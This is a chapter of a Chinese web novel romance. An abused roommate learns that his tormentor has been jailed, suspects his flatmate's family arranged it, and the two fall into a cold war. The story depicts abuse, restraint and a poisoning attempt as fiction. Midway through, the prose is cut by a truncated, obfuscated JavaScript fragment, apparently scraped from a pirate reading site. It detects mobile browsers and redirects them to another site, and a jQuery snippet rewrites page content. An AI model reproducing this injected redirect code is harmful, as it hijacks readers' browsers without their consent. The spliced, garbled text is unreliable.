直到身体里残留的毒素被消耗得一干二净,身体上毒素带来的怪异反应也彻底平息,项知擎低头看了看恢复正常的身体,面无表情地朝合租屋的方向走去。 是的,那地方已经不再是他的家了,只是他临时居住的合租屋。 而他的心,也再不会为合租屋的另一位租户牵动分毫。 . 项知擎刚走出门,安纯手腕上的终端就响起警报。 “滴——” “儿童安全模式正在生效中!察觉到主人心率异常!已为您自动呼叫紧急联系人和医院紧急电话!滴——” 项知擎放在浴室置物架上的不防水的廉价终端狂响起来,安纯充耳不闻,因为他所有的心神都被面前的报纸给攫取了。 他睁大眼,屏住呼吸,几乎是如饥似渴地读着报纸上的每一个字眼。 霍渊入室行凶,罪证确凿,刑期十年,即刻下狱。 报纸上除了玛瑙星首都法院的裁决文书外,还附带了霍渊躺在医疗舱里被送进监狱的照片。 安纯神情恍惚,直到医护人员紧急到达,他的终端联动屋内的紧急安保系统主动为医护人员打开了门,他还呆呆地仰头问道:“……我这是在做梦吗?” 如果不是做梦,为什么会有这么好的事情?霍渊被捕入狱,项知擎不知所踪,而他的发情期刚刚爆发,便有医护人员拿着抑制剂破门而入。 护士一进门就见到一名被发情期折磨得奄奄一息的omega正衣着单薄地蜷在沙发上,他身形消瘦,皮肤苍白,脚踝和手腕上的勒痕清晰可见,就连下巴上都印有alpha粗暴的指印,而直到走近,她才发现omega正被一件明显不属于他的宽大睡衣牢牢捆绑着双臂,而他的alpha不见踪影。 “……我这是在做梦吗?” omega迷离而痛苦地仰起头,眼里全是破碎的水光,分明已经被来势汹汹的发情期折磨得神志不清。 护士眼泪一下子就掉了下来。 她和同事一起为omega解开绑住他双臂的睡衣,用仪器处理他手腕上和脚踝上的勒痕,她一边温柔安抚着omega,一边在他手臂上注入抑制剂。 “没事的,”她轻声说,“噩梦已经结束了。” . “什么垃圾啊?用睡衣把omega绑起来,自己跑得没影……” 项知擎刚走到合租屋前准备推开门,就听到门内传来这样一句话。 项知擎:“……” 项知擎面无表情地把门推开,屋内的声音戛然而止。 是几个医护人员,穿着上次那个医院的同款制服,但或许是因为不同科室,没一个脸熟。 项知擎进去的时候,这些人正一边骂他,一边收拾东西准备离开,而室友脸颊红扑扑地裹着毯子,已经躺在沙发上睡着了。 一名护士略有些尴尬地看着他,开口道:“……安先生情况危急,触发了终端特别设置的安全急救系统,他的终端主动向我们报警,并发送定位,打开房门,因此我们才会出现在这里,请问您是他的——” “合租室友,”项知擎冷漠地打断她,“除此之外,我们什么关系也没有,他的情况也不需要向我说明。” 说完,他又走进卧室,关紧房门,并“啪嗒”一声把门给反锁了。 屋外的医护人员:“……” “真是个烂人啊。” 有人小声说。 “禽兽。” “禽兽不如……” “……” 耳力很好的项知擎:“……” 项知擎想要去投诉这家他原本觉得还不错的医院了。 . 安纯在第二天清晨醒来。 他睁开眼,看见屋外的雪难得停了,天空蓝悠悠的,零星几只麻雀飞到窗边干枯的雪树上,欢天喜地地啄食上面仅剩的几颗红果。 安纯眨了眨眼,突然,他像是被什么惊醒了一样猛地坐起身子,四下打量起来,很快,他就在枕边找到了那份报纸。 ……不是梦。 安纯用手指紧紧攥着报纸,轻轻松了一口气。 紧接着,他又略有些紧张地拿起终端,在上面搜索起霍渊入狱的消息。 霍渊入狱的新闻并没有在各大社交平台广泛传播,有很明显的人为压制痕迹,但越是这样,越显得真实,而直到安纯在玛瑙星裁决文书网和联邦法案电子档案系统找到霍渊的判决文书,他才彻底地,长长地舒了一口气。 是真的。 不是有人恶作剧。 “呲啦——” 尖锐的叉子划过餐盘的声音骤然响起,安纯猛地打了个激灵,像受惊的麻雀般向声音的来源处望去。 是项知擎。 项知擎衣着整齐地坐在餐桌旁,正在享用他昂贵而丰盛的早餐,此时,项知擎正故意把餐盘弄出声音,撩起眼皮看向他。 安纯心脏骤然紧绷。 他想起来了……昨天,昨天除了得知霍渊入狱的消息外,他还试图对项知擎下毒,结果下毒失败,他自己反被引出发情期,项知擎在暴怒之下把他扔到沙发上绑起来,然后…… 接下来的事情不是想不起来了,是太诡异了,诡异得像是假的。 因为在记忆里,项知擎并没有对他做什么,而是把霍渊入狱的报纸和三万块钱扔给他,就那么光着上半身且硬着下半身走了。 安纯:“……” 好怪啊。 如果不是因为项知擎已经被逐出家门,且如今只是个靠挖矿来维系生活的普通人,他简直以为项二少是看不上他这个清粥小菜,要趁着自己雄威大振赶去睡绝色大美人了。 而他之所以光着上半身就出门,完全不害怕自己冻死在雪夜里,则是因为门口就停着精致且暖和的豪华飞车…… 安纯:“……” 安纯:“……………” 安纯脸色突然变得古怪。 因为他突然发觉他离谱的揣测竟然该死地合理。 除此之外,安纯骤然发现,有关项知擎的一切都像是被裹上了一层迷雾,处处透露着离奇和古怪。 首先,霍渊入狱了,这说明项知擎绝对没和霍渊做什么有关于他的交易,他之前的揣测是错误的,那项知擎那天晚上为什么会去霍家庄园,并带回来了一身的星野玫瑰花粉? 其次,既然项知擎没有与霍渊做交易,那他一个挖矿工人,怎么可能吃得起每天上千块的高端外卖? 最后,项知擎作为一个被逐出豪门的纨绔,真的会那么天真,丝毫不懂上流社会的规矩,毫无顾忌地打了霍家的继承人,且从不担心自己会受到任何打击报复吗? 是的,他的确没有受到报复,垮了的人是霍渊。 霍渊,霍氏的继承人,十五号入室行凶,十六号判决,十七号下狱,十八号有关他犯罪事实的报纸就被印刷出来,那份报纸上除了霍渊就再没有其他内容,简直是一份专门为霍渊打造的罪书。 整件事堪称魔幻。 霍渊到底是得罪了哪尊大佛才落得如此地步?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096088|195284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安纯脸色忽青忽白。 突然,他攥紧拳头,抬起头,拼尽所有勇气问道:“霍渊……?” 他并没有把想问的问题问出来。 但项知擎却轻蔑地笑了起来,他“啪嗒”一声扔掉了手中的叉子,施施然站起身,整个人贵气天成,仿佛从没有落魄过,仿佛天生就具备凌驾于万人之上的气魄。 “没错,是我做的。” 安纯脸色瞬间变得惨白。 最不可能的揣测变成事实,安纯没想到事情的真相竟然是这样。 怪不得…… 怪不得项知擎吃得起上千元的高端餐食。 怪不得霍渊前脚还准备打断他的腿,后脚就被整个家族放弃,急速入狱。 怪不得网上爆料的项知擎的照片明明瘦骨嶙峋,憔悴不堪,可他实际上却体格强健,精壮有力,一身漂亮的肌肉线条像是有十七八个营养师和健身团队精心维护。 怪不得项知擎说霍渊入狱是他做的,霍渊的确是他弄进牢里的,只不过动手的不是他一个人,而是他身后的整个家族! 因为项知擎根本就没有被项家放弃!因为所谓的“断绝关系,逐出家门”,只是为了挽回丑事败露时项家暴跌的股份,为了愚弄大众,为了平息民愤! 而项知擎之所以多次忍着暴怒不打死自己,则是因为他现在需要“低调行事”,更需要这样一个二类婚姻的伴侣来体现他的落魄。 否则呢,除了这个解释还会有什么?难道霍渊是项知擎一个人弄进监狱的不成?难道项知擎是超人吗?! 项知擎是一个比霍渊更可怕的人。 . 高端的牛排散发出诱人的香气,沙发上的室友终于醒来。 项知擎没给他半个眼神,兀自吃着自己昂贵而美味的早餐。 “呲啦——” 叉子被不小心捏弯,突兀在餐盘上发出一道难听的声音,打破了高雅的用餐氛围,项知擎下意识看向室友。 室友突然想起了什么,抬起头并蹙眉问道:“霍渊……?” 项知擎:“……” 问出来啊?为什么只问这两个字? 但项知擎并不是一个会轻而易举错失机会的人,他轻咳了一声,站起来,淡然而不显志得意满地开口:“没错,是我做的。” 室友果然惊得说不出话。 项知擎心中冷嗤一声。 呵!高兴吗?震惊吗?懊悔吗?在心中感恩我吗?对我愧疚了吗?想跟我重归于好,想与我交朋友吗?晚了! 项知擎目不斜视地去厨房拿了一把新叉子,坐回餐桌上时,不经意地往旁边一瞥,室友正背对着他坐在沙发上,低头查看昨晚医生留下来的出诊说明。 项知擎:“……” 项知擎面无表情地放下刀叉,用筷子三两口把牛排解决了。 . 在接下来的很多天里,室友都没主动开口和项知擎说过一句话。他们每天早上从不同的房间醒来,一个坐在餐桌上吃从不重样的丰盛餐食,一个站在冰箱前三两口喝完营养剂,紧接着,项知擎会去上班,安纯会进卧室,他们每天晚上在不同的房间睡觉,就像住在同一个屋檐下的陌生人,像两条永远不会相交的平行线。 直到有一天,项知擎发现他已经很久没再见到室友了,而每次卫生间出现淋浴的动静,都是在他洗漱结束的半个小时之后——哪怕他每天洗漱的时间并不固定。 项知擎突然意识到。 原来这就是冷战。 哈!冷战?室友竟在跟他冷战?! 到底是谁对不起谁呀?到底是谁想毒杀谁呀?怎么?室友没能杀掉他,所以还生起气来了是吗?! 于是项知擎也开始变得冷漠。 虽然每天晚上都气得睡不着觉,但即便在梦里,也是室友跪在地上求着跟他和好,而他则一次接着一次地冷酷拒绝了。 但项知擎很快就不再因为与室友冷战而费心费力了。 因为就在与室友冷战的第七天四小时二十三分,项知擎毫无征兆,猝不及防,且没有任何抵抗之力地,陷入了一场如火山爆发般势不可挡的……初恋。